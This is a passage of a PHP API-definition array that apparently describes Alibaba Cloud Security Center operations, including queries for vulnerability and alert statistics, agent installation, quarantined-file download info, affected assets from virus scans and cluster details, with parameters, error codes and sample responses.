'query', 'schema' => [ 'description' => 'The language of the content within the request and response. Default value: **zh**. Valid values:'."\n" ."\n" .'* **zh**: Chinese'."\n" .'* **en**: English'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'type' => 'object', 'properties' => [ 'DingdingUrl' => [ 'description' => 'The QR code address of the DingTalk group.'."\n", 'type' => 'string', 'example' => 'https://www.wikihow.com/images_en/thumb/4/48/Get-the-URL-for-Pictures-Step-4-Version-4.jpg/v4-728px-Get-the-URL-for-Pictures-Step-4-Version-4.jpg.webp', ], 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => '7A437E93-47EE-548F-ABCE-13F89AA85585', ], ], 'description' => '', ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'no permission', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"type":"json","example":"{\\n \\"DingdingUrl\\": \\"https://www.wikihow.com/images_en/thumb/4/48/Get-the-URL-for-Pictures-Step-4-Version-4.jpg/v4-728px-Get-the-URL-for-Pictures-Step-4-Version-4.jpg.webp\\",\\n \\"RequestId\\": \\"7A437E93-47EE-548F-ABCE-13F89AA85585\\"\\n}","errorExample":""},{"type":"xml","example":"\\n https://www.wikihow.com/images_en/thumb/4/48/Get-the-URL-for-Pictures-Step-4-Version-4.jpg/v4-728px-Get-the-URL-for-Pictures-Step-4-Version-4.jpg.webp\\n 7A437E93-47EE-548F-ABCE-13F89AA85585\\n","errorExample":""}]', 'title' => 'DescribeVolDingdingMessage', 'requestParamsDescription' => ' ', 'responseParamsDescription' => ' ', 'extraInfo' => ' ', ], 'DescribeAllRegionsStatistics' => [ 'summary' => 'Queries the statistics on global security events, including the numbers of unfixed vulnerabilities, baseline risks, and alerts.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', 'abilityTreeCode' => '91988', 'abilityTreeNodes' => [ 'FEATUREsasJODUMM', ], ], 'parameters' => [ [ 'name' => 'SourceIp', 'in' => 'query', 'schema' => [ 'description' => 'The source IP address of the request.'."\n", 'type' => 'string', 'required' => false, 'example' => '33.80.XXX.XXX', ], ], [ 'name' => 'From', 'in' => 'query', 'schema' => [ 'description' => 'The source of the request. Default value: **aqs**. Valid values:'."\n" ."\n" .'* **sas**: Security Center.'."\n" .'* **aqs**: Server Guard.'."\n", 'type' => 'string', 'required' => false, 'example' => 'sas', ], ], [ 'name' => 'GroupId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the asset group that you want to query.'."\n" ."\n" .'> You can call the [DescribeAllGroups](~~130972~~) operation to query the ID.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '1161****', ], ], [ 'name' => 'Remark', 'in' => 'query', 'schema' => [ 'description' => 'The name or public IP address of the asset.'."\n", 'type' => 'string', 'required' => false, 'example' => '192.168.XX.XX', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'description' => 'The response parameters.'."\n", 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => 'B9A68671-BD84-55CD-807A-BA3A5490FCB4', ], 'Data' => [ 'description' => 'The data returned.'."\n", 'type' => 'object', 'properties' => [ 'Account' => [ 'description' => 'The number of logons to the asset.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '0', ], 'Vul' => [ 'description' => 'The number of unfixed vulnerabilities.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '17', ], 'Health' => [ 'description' => 'The total number of unfixed baseline risks.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '2', ], 'Trojan' => [ 'description' => 'The number of webshell alerts.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'NewSuspicious' => [ 'description' => 'The number of alerts that are generated by Server Guard or Security Center.'."\n" ."\n" .'> '."\n" ."\n" .'* If **From** is set to **sas**, this parameter indicates the number of alerts that are generated by Security Center.'."\n" ."\n" .'* If **From** is set to **aqs**, this parameter indicates the number of alerts that are generated by Server Guard.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '0', ], 'Suspicious' => [ 'description' => 'The number of alerts that are generated by Server Guard.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '2', ], ], ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"B9A68671-BD84-55CD-807A-BA3A5490FCB4\\",\\n \\"Data\\": {\\n \\"Account\\": 0,\\n \\"Vul\\": 17,\\n \\"Health\\": 2,\\n \\"Trojan\\": 1,\\n \\"NewSuspicious\\": 0,\\n \\"Suspicious\\": 2\\n }\\n}","type":"json"}]', 'title' => 'DescribeAllRegionsStatistics', ], 'InstallPmAgent' => [ 'summary' => 'Installs the CloudMonitor agent on a server that is not deployed on Alibaba Cloud.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'systemTags' => [ 'operationType' => 'update', ], 'parameters' => [ [ 'name' => 'SourceIp', 'in' => 'query', 'schema' => [ 'description' => 'The source IP address of the request.'."\n", 'type' => 'string', 'required' => false, 'example' => '58.35.xx.xx', ], ], [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response. Default value: **zh**. Valid values:'."\n" ."\n" .'* **zh**: Chinese'."\n" .'* **en**: English'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], [ 'name' => 'Uuids', 'in' => 'query', 'schema' => [ 'title' => '机器uuid列表', 'description' => 'The UUID of the server. If you specify multiple UUIDs, separate the UUIDs with commas (,).'."\n", 'type' => 'string', 'required' => true, 'example' => 'inet-a6444920-d303-4ccf-ab87-a1d3cd49****', ], ], [ 'name' => 'Type', 'in' => 'query', 'schema' => [ 'title' => '运维插件类型', 'description' => 'The type of the client.'."\n" ."\n" .'* **aliyun_assist**: Cloud Assistant client'."\n" .'* **aliyun_monitor**: CloudMonitor client'."\n", 'type' => 'string', 'required' => true, 'example' => 'aliyun_monitor', 'enum' => [ 'aliyun_assist', ], ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'description' => 'The returned data.'."\n", 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => 'D49B5134-9511-5736-B447-BEE0AC66****', ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'ConsoleError', 'errorMessage' => 'The error message is %s %s.', ], [ 'errorCode' => 'IllegalParam', 'errorMessage' => 'Illegal param', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"D49B5134-9511-5736-B447-BEE0AC66****\\"\\n}","type":"json"}]', 'title' => 'InstallPmAgent', ], 'GetModuleConfig' => [ 'summary' => 'Queries the configurations of a module.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'get', ], 'parameters' => [ [ 'name' => 'CurrentPage', 'in' => 'query', 'schema' => [ 'description' => 'The number of the page to return.'."\n", 'type' => 'string', 'required' => false, 'example' => '1', ], ], [ 'name' => 'PageSize', 'in' => 'query', 'schema' => [ 'description' => 'The number of entries to return on each page. Default value: **10**.'."\n", 'type' => 'string', 'required' => false, 'example' => '10', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'type' => 'object', 'properties' => [ 'HttpStatusCode' => [ 'description' => 'The response code returned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '200', ], 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '291B49F9-1685-4005-9D34-606B6F78****', ], 'Success' => [ 'description' => 'Indicates whether the request was successful.'."\n", 'type' => 'boolean', 'example' => 'true', ], 'ModuleConfigList' => [ 'description' => 'An array that consists of the configurations of the module.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The object of the module.'."\n", 'type' => 'object', 'properties' => [ 'ModuleName' => [ 'description' => 'The name of the module.'."\n", 'type' => 'string', 'example' => 'alihids', ], 'ConfigName' => [ 'description' => 'The name of the configuration.'."\n", 'type' => 'string', 'example' => 'timescan', ], 'Items' => [ 'description' => 'An array that consists of the configuration items.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The objection information returned.'."\n", 'type' => 'object', 'properties' => [ 'Uuid' => [ 'description' => 'The UUID of the server.'."\n", 'type' => 'string', 'example' => 'a47e3713-ed22-4015-93a3-d88ebe6****', ], 'GroupId' => [ 'description' => 'The ID of the server group to which the server belongs.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '5562414', ], 'InstanceName' => [ 'description' => 'The instance name of the server.'."\n", 'type' => 'string', 'example' => 'inStanceName****', ], 'Region' => [ 'description' => 'The region in which the server resides.'."\n", 'type' => 'string', 'example' => 'cn-hangzhou', ], 'Ip' => [ 'description' => 'The IP address of the server.'."\n", 'type' => 'string', 'example' => '2.2.X.X', ], 'InstanceId' => [ 'description' => 'The instance ID of the server.'."\n", 'type' => 'string', 'example' => 'i-uf6435dn4t59b9av****', ], ], ], ], ], ], ], 'PageInfo' => [ 'description' => 'The pagination information.'."\n", 'type' => 'object', 'properties' => [ 'CurrentPage' => [ 'description' => 'The page number of the returned page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'PageSize' => [ 'description' => 'The number of entries returned per page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '20', ], 'TotalCount' => [ 'description' => 'The total number of entries returned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '100', ], 'Count' => [ 'description' => 'The number of entries returned on the current page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '100', ], ], ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'no permission', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"HttpStatusCode\\": 200,\\n \\"RequestId\\": \\"291B49F9-1685-4005-9D34-606B6F78****\\",\\n \\"Success\\": true,\\n \\"ModuleConfigList\\": [\\n {\\n \\"ModuleName\\": \\"alihids\\",\\n \\"ConfigName\\": \\"timescan\\",\\n \\"Items\\": [\\n {\\n \\"Uuid\\": \\"a47e3713-ed22-4015-93a3-d88ebe6****\\",\\n \\"GroupId\\": 5562414,\\n \\"InstanceName\\": \\"inStanceName****\\",\\n \\"Region\\": \\"cn-hangzhou\\",\\n \\"Ip\\": \\"2.2.X.X\\",\\n \\"InstanceId\\": \\"i-uf6435dn4t59b9av****\\"\\n }\\n ]\\n }\\n ],\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 100,\\n \\"Count\\": 100\\n }\\n}","type":"json"}]', 'title' => 'GetModuleConfig', ], 'DescribeClusterBasicInfo' => [ 'summary' => 'Queries the information about an cluster based on the cluster ID.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', ], 'parameters' => [ [ 'name' => 'ClusterId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the cluster that you want to query.'."\n" ."\n" .'> You can call the [DescribeGroupedContainerInstances](~~DescribeGroupedContainerInstances~~) operation to query the IDs of clusters.'."\n", 'type' => 'string', 'required' => true, 'example' => 'c870ec78ecbcb41d2a35c679823ef****', ], ], [ 'name' => 'Type', 'in' => 'query', 'schema' => [ 'description' => 'The type of the feature. Valid values:'."\n" ."\n" .'* **containerNetwork**: container network topology'."\n" .'* **interceptionSwitch**: cluster microsegmentation'."\n", 'type' => 'string', 'required' => true, 'example' => 'containerNetwork', ], ], [ 'name' => 'TargetType', 'in' => 'query', 'schema' => [ 'description' => 'The dimension from which you want to configure the feature. Valid values:'."\n" ."\n" .'* **Cluster**: the ID of the cluster'."\n", 'type' => 'string', 'required' => true, 'example' => 'Cluster', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'description' => 'The data returned.'."\n", 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '24A20733-10A0-4AF6-BE6B-E3322413BB68', ], 'ClusterInfo' => [ 'description' => 'The detailed information about the cluster.'."\n", 'type' => 'object', 'properties' => [ 'InstanceCount' => [ 'description' => 'The number of instances in the cluster.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '10', ], 'ClusterType' => [ 'description' => 'The type of the cluster. Valid values:'."\n" ."\n" .'* **ManagedKubernetes**: managed Kubernetes cluster'."\n" .'* **NotManagedKubernetes**: non-managed Kubernetes cluster'."\n" .'* **PrivateKubernetes**: private cluster'."\n" .'* **kubernetes**: dedicated Kubernetes cluster'."\n" .'* **ask**: dedicated ASK cluster'."\n", 'type' => 'string', 'example' => 'kubernetes', ], 'State' => [ 'description' => 'The status of the cluster. Valid values:'."\n" ."\n" .'* **unavailable**'."\n" .'* **Available**'."\n" .'* **Creating**'."\n" .'* **CreateFailed**'."\n", 'type' => 'string', 'example' => 'Available', ], 'CreateTime' => [ 'description' => 'The timestamp when the cluster was created. Unit: milliseconds.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1662038134000', ], 'ClusterName' => [ 'description' => 'The name of the cluster.'."\n", 'type' => 'string', 'example' => 'testackpro', ], 'CurrentVersion' => [ 'description' => 'The version of the cluster.'."\n", 'type' => 'string', 'example' => '1.22.10-aliyun.1', ], 'TargetResult' => [ 'description' => 'Indicates whether the cluster is enabled. Valid values:'."\n" ."\n" .'* **true**: The cluster is enabled.'."\n" .'* **false**: The cluster is disabled.'."\n", 'type' => 'boolean', 'example' => 'true', ], 'RegionId' => [ 'description' => 'The ID of the region in which the cluster is deployed.'."\n", 'type' => 'string', 'example' => 'cn-hangzhou', ], 'ClusterId' => [ 'description' => 'The ID of cluster.'."\n", 'type' => 'string', 'example' => 'c870ec78ecbcb41d2a35c679823ef****'."\n", ], ], ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"24A20733-10A0-4AF6-BE6B-E3322413BB68\\",\\n \\"ClusterInfo\\": {\\n \\"InstanceCount\\": 10,\\n \\"ClusterType\\": \\"kubernetes\\",\\n \\"State\\": \\"Available\\",\\n \\"CreateTime\\": 1662038134000,\\n \\"ClusterName\\": \\"testackpro\\",\\n \\"CurrentVersion\\": \\"1.22.10-aliyun.1\\",\\n \\"TargetResult\\": true,\\n \\"RegionId\\": \\"cn-hangzhou\\",\\n \\"ClusterId\\": \\"c870ec78ecbcb41d2a35c679823ef****\\\\n\\"\\n }\\n}","type":"json"}]', 'title' => 'DescribeClusterBasicInfo', ], 'DescribeQuaraFileDownloadInfo' => [ 'summary' => 'Queries the download information about a quarantined file.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'get', 'abilityTreeCode' => '92168', 'abilityTreeNodes' => [ 'FEATUREsas731ZAS', ], ], 'parameters' => [ [ 'name' => 'QuaraFileId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the quarantined file.'."\n" ."\n" .'> If you do not specify this parameter, you cannot call the RollbackSuspEventQuaraFile operation to restore a quarantined file. You can call the [DescribeSuspEventQuaraFiles](~~DescribeSuspEventQuaraFiles~~) operation to query the IDs of quarantined files.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '123', ], ], [ 'name' => 'From', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the request source. Set the value to sas.'."\n", 'type' => 'string', 'required' => false, 'example' => 'sas', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'type' => 'object', 'properties' => [ 'Uuid' => [ 'description' => 'The UUID of the server.'."\n", 'type' => 'string', 'example' => '4fe8e1cd-3c37-4851-b9de-124da32c****', ], 'QuaraFileId' => [ 'description' => 'The ID of the quarantined file.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '123', ], 'RequestId' => [ 'description' => 'The ID of the request.'."\n", 'type' => 'string', 'example' => '29874225-EAAC-5415-8501-32DD20FXXXXX', ], 'DownloadUrl' => [ 'description' => 'The URL that is used to download the file. The URL is valid for five minutes.'."\n", 'type' => 'string', 'example' => 'https://xxxxxxxx.oss-cn-hangzhou-1.aliyuncs.com/xxxxx/xxxxxxxxxxxxxx?Expires=1671448125&OSSAccessKeyId=xxx', ], 'Path' => [ 'description' => 'The file path.'."\n", 'type' => 'string', 'example' => '/etc/test', ], 'Md5' => [ 'description' => 'The MD5 hash value of the quarantined file.'."\n", 'type' => 'string', 'example' => 'bb62ef1311bc564377a0378d3axxxxxx', ], 'Tag' => [ 'description' => 'The tag that is added to the related alert.'."\n", 'type' => 'string', 'example' => '6d4ff40a22b15c86adecf2aa48xxxxx', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Uuid\\": \\"4fe8e1cd-3c37-4851-b9de-124da32c****\\",\\n \\"QuaraFileId\\": 123,\\n \\"RequestId\\": \\"29874225-EAAC-5415-8501-32DD20FXXXXX\\",\\n \\"DownloadUrl\\": \\"https://xxxxxxxx.oss-cn-hangzhou-1.aliyuncs.com/xxxxx/xxxxxxxxxxxxxx?Expires=1671448125&OSSAccessKeyId=xxx\\",\\n \\"Path\\": \\"/etc/test\\",\\n \\"Md5\\": \\"bb62ef1311bc564377a0378d3axxxxxx\\",\\n \\"Tag\\": \\"6d4ff40a22b15c86adecf2aa48xxxxx\\"\\n}","type":"json"}]', 'title' => 'DescribeQuaraFileDownloadInfo', ], 'DescribeAffectedAssets' => [ 'summary' => 'Queries the affected servers in the result of a virus scan task.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'get', ], 'parameters' => [ [ 'name' => 'PageSize', 'in' => 'query', 'schema' => [ 'description' => 'The number of entries to return on each page. Default value: 20. If you leave this parameter empty, 20 entries are returned on each page.'."\n" ."\n" .'> We recommend that you do not leave this parameter empty.'."\n", 'type' => 'string', 'required' => false, 'example' => '10', ], ], [ 'name' => 'Current', 'in' => 'query', 'schema' => [ 'description' => 'The number of the page to return.'."\n", 'type' => 'string', 'required' => false, 'example' => '1', ], ], [ 'name' => 'Levels', 'in' => 'query', 'schema' => [ 'description' => 'The severity. Separate multiple severities with commas (,). Valid values:'."\n" ."\n" .'* serious'."\n" .'* suspicious'."\n" .'* remind'."\n", 'type' => 'string', 'required' => false, 'example' => 'serious,suspicious,remind', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request.'."\n", 'type' => 'string', 'example' => '7E0618A9-D5EF-4220-9471-C42XXXXXXXX', ], 'PageInfo' => [ 'description' => 'The pagination information.'."\n", 'type' => 'object', 'properties' => [ 'CurrentPage' => [ 'description' => 'The page number of the returned page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'PageSize' => [ 'description' => 'The number of entries returned per page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '20', ], 'TotalCount' => [ 'description' => 'The total number of entries returned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '100', ], 'Count' => [ 'description' => 'The number of entries returned on the current page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '10', ], ], ], 'AssetList' => [ 'description' => 'An array that consists of the affected servers.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The information about the affected server.'."\n", 'type' => 'object', 'properties' => [ 'Uuid' => [ 'description' => 'The UUID of the server.'."\n", 'type' => 'string', 'example' => '947d7514-258a-4b47-9dde-9dxxxxxxxxxx', ], 'InternetIp' => [ 'description' => 'The public IP address of the server.'."\n", 'type' => 'string', 'example' => '10.10.XX.XX', ], 'RiskNum' => [ 'description' => 'The number of viruses detected on the server.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'InstanceName' => [ 'description' => 'The name of the server.'."\n", 'type' => 'string', 'example' => '11', ], 'InstanceId' => [ 'description' => 'The ID of the server.'."\n", 'type' => 'string', 'example' => '11', ], 'IntranetIp' => [ 'description' => 'The private IP address of the server.'."\n", 'type' => 'string', 'example' => '172.0.XX.XX', ], ], ], ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"7E0618A9-D5EF-4220-9471-C42XXXXXXXX\\",\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 100,\\n \\"Count\\": 10\\n },\\n \\"AssetList\\": [\\n {\\n \\"Uuid\\": \\"947d7514-258a-4b47-9dde-9dxxxxxxxxxx\\",\\n \\"InternetIp\\": \\"10.10.XX.XX\\",\\n \\"RiskNum\\": 1,\\n \\"InstanceName\\": \\"11\\",\\n \\"InstanceId\\": \\"11\\",\\n \\"IntranetIp\\": \\"172.0.XX.XX\\"\\n }\\n ]\\n}","type":"json"}]', 'title' => 'DescribeAffectedAssets', ], 'DescribeEventOnStage' => [ 'summary' => 'Queries the platforms that are supported by the feature of container threat detection.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'get', 'abilityTreeCode' => '92071', 'abilityTreeNodes' => [ 'FEATUREsasAFG0OH', ], 'tenantRelevance' => 'publicInformation', ], 'parameters' => [ [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response. Default value: **zh**. Valid values:'."\n" ."\n" .'* **zh**: Chinese'."\n" .'* **en**: English'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request.'."\n", 'type' => 'string', 'example' => '24A20733-10A0-4AF6-BE6B-E332241XXXXX', ], 'SecurityEventStageResponse' => [ 'description' => 'The platforms that are supported by the feature of container threat detection.'."\n", 'type' => 'object', 'properties' => [ 'SecurityEventOnStag' => [ 'description' => 'The platform that is supported by the feature of container threat detection. Valid values:'."\n" ."\n" .'* **container**'."\n" .'* **linux**'."\n" .'* **windows**'."\n", 'type' => 'object', 'enumValueTitles' => [ 'container' => '', 'linux' => 'linux', 'windows' => 'windows', ], ], ], ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"24A20733-10A0-4AF6-BE6B-E332241XXXXX\\",\\n \\"SecurityEventStageResponse\\": {\\n \\"SecurityEventOnStag\\": {\\n \\"test\\": \\"test\\",\\n \\"test2\\": 1\\n }\\n }\\n}","type":"json"}]', 'title' => 'DescribeEventOnStage', ], 'DescribeScanTaskStatistics' => [ 'summary' => 'Queries the statistics of virus detection tasks.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'get', ], 'parameters' => [ [ 'name' => 'Levels', 'in' => 'query', 'schema' => [ 'description' => 'The severities of the alert events handled by the virus detection task. Separate multiple severities with commas (,). The severities decrease in descending order. Valid values:'."\n" ."\n" .'* **serious**'."\n" .'* **suspicious**'."\n" .'* **remind**'."\n", 'type' => 'string', 'required' => false, 'example' => 'serious,suspicious,remind', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'type' => 'object', 'properties' => [ 'TotalTaskNum' => [ 'description' => 'The total number of virus detection tasks.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '11', ], 'UserNum' => [ 'description' => 'The number of risks that are detected for the user.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '11', ], 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => '765EDBDE-1686-5DBA-B76F-2E0XXXXXXX', ], 'DealedRiskNum' => [ 'description' => 'The number of risks that are handled for the user.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '11', ], 'PersonalTaskNum' => [ 'description' => 'The total number of tasks that are created for the user.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '11', ], ], 'description' => '', ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"TotalTaskNum\\": 11,\\n \\"UserNum\\": 11,\\n \\"RequestId\\": \\"765EDBDE-1686-5DBA-B76F-2E0XXXXXXX\\",\\n \\"DealedRiskNum\\": 11,\\n \\"PersonalTaskNum\\": 11\\n}","type":"json"}]', 'title' => 'DescribeScanTaskStatistics', ], 'DescribeSuspEventUserSetting' => [ 'summary' => 'Queries the user settings for exceptions.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'get', 'abilityTreeCode' => '92216', 'abilityTreeNodes' => [ 'FEATUREsasDM8NT3', ], ], 'parameters' => [ [ 'name' => 'SourceIp', 'in' => 'query', 'schema' => [ 'description' => 'The IP address of the request. You do not need to specify this parameter.'."\n", 'type' => 'string', 'required' => false, 'example' => '127.0.XX.XX', ], ], [ 'name' => 'Id', 'in' => 'query', 'schema' => [ 'description' => 'The ID. You do not need to specify this parameter.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '123', ], ], [ 'name' => 'From', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the request source. Set the value to **sas**.'."\n", 'type' => 'string', 'required' => false, 'example' => 'sas', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request.'."\n", 'type' => 'string', 'example' => '028CF634-5268-5660-9575-48C9ED6XXXXX', ], 'LevelsOn' => [ 'description' => 'An array that consists of the risk levels of alert notifications. Valid values:'."\n" ."\n" .'* **remind**'."\n" .'* **suspicious**'."\n" .'* **serious**'."\n", 'type' => 'array', 'items' => [ 'description' => 'The risk level of the unhandled alert. Valid values:'."\n" ."\n" .'* **remind**'."\n" .'* **suspicious**'."\n" .'* **serious**'."\n", 'type' => 'string', 'example' => 'suspicious,serious,remind', ], ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"028CF634-5268-5660-9575-48C9ED6XXXXX\\",\\n \\"LevelsOn\\": [\\n \\"suspicious,serious,remind\\"\\n ]\\n}","type":"json"}]', 'title' => 'DescribeSuspEventUserSetting', ], 'DescribeTraceInfoNode' => [ 'summary' => 'Queries the details about a trace node.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'get', ], 'parameters' => [ [ 'name' => 'SourceIp', 'in' => 'query', 'schema' => [ 'description' => 'The source IP address of the request. The value of this parameter is specified by the system.'."\n", 'type' => 'string', 'required' => false, 'example' => '127.0.XX.XX', ], ], [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response. Default value: **zh**. Valid values:'."\n" ."\n" .'* **zh**: Chinese'."\n" .'* **en**: English'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], [ 'name' => 'VertexId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the vertex.'."\n", 'type' => 'string', 'required' => true, 'example' => 